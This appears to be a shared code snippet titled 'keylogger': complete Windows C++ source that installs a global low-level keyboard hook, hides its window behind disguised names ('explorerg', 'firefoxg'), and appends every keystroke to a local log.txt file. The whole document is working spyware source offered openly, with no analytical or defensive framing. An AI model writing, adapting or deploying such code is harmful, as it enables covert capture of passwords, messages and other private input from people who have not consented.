tapkain
11/4/2017 - 11:37 AM

keylogger

keylogger

#include <windows.h>
#include <cmath>
#include <iostream>
#include <fstream>

HWND button;
HHOOK hhkLowLevelKybd = NULL;
HWND window = NULL;
bool shift = false;

LRESULT CALLBACK onEvent(HWND handle, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
        case WM_CLOSE:
        {
            PostQuitMessage(0);
            return 0;
        }
    }

    return DefWindowProc(handle, message, wParam, lParam);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION)
    {
        KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
        std::string result;
        unsigned int sc = MapVirtualKey(kb->vkCode, 0);

        sc <<= 16;
        char buff[256];
        GetKeyNameTextA(sc, buff, 256);
        result = buff;

        if (result != "Shift")
        {
            if (wParam == WM_KEYUP)
                return CallNextHookEx(hhkLowLevelKybd, nCode, wParam, lParam);
        } else {
            shift = !shift;
        }

        if (!shift)
        {
            int i = 0;

            while (buff[i] != '\0')
            {
                buff[i] = tolower(buff[i]);
                i++;
            }
        }

        result = buff;


        std::ofstream log("log.txt", std::ios_base::app);
        log << result << "\n";
    }

    return CallNextHookEx(hhkLowLevelKybd, nCode, wParam, lParam);
}


INT WINAPI WinMain(HINSTANCE instance, HINSTANCE, LPSTR, INT)
{
    std::ofstream temp("log.txt");
    temp.close();

    WNDCLASS windowClass;
    windowClass.style         = 0;
    windowClass.lpfnWndProc   = &onEvent;
    windowClass.cbClsExtra    = 0;
    windowClass.cbWndExtra    = 0;
    windowClass.hInstance     = instance;
    windowClass.hIcon         = NULL;
    windowClass.hCursor       = 0;
    windowClass.hbrBackground = reinterpret_cast<HBRUSH>(COLOR_BACKGROUND);
    windowClass.lpszMenuName  = NULL;
    windowClass.lpszClassName = TEXT("explorerg");
    RegisterClass(&windowClass);

    window = CreateWindow(TEXT("explorerg"), TEXT("firefoxg"), WS_SYSMENU, 200, 200, 660, 520, NULL, NULL, instance, NULL);

    ShowWindow(window, SW_HIDE);
    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, 0, 0);

    MSG message;
    message.message = static_cast<UINT>(~WM_QUIT);
    while (message.message != WM_QUIT)
    {
        if (GetMessage(&message, NULL, 0, 0))
        {
            TranslateMessage(&message);
            DispatchMessage(&message);
        }
    }

    DestroyWindow(window);

    UnregisterClass(TEXT("explorerg"), instance);
    UnhookWindowsHookEx(hhkLowLevelKybd);

    return EXIT_SUCCESS;
}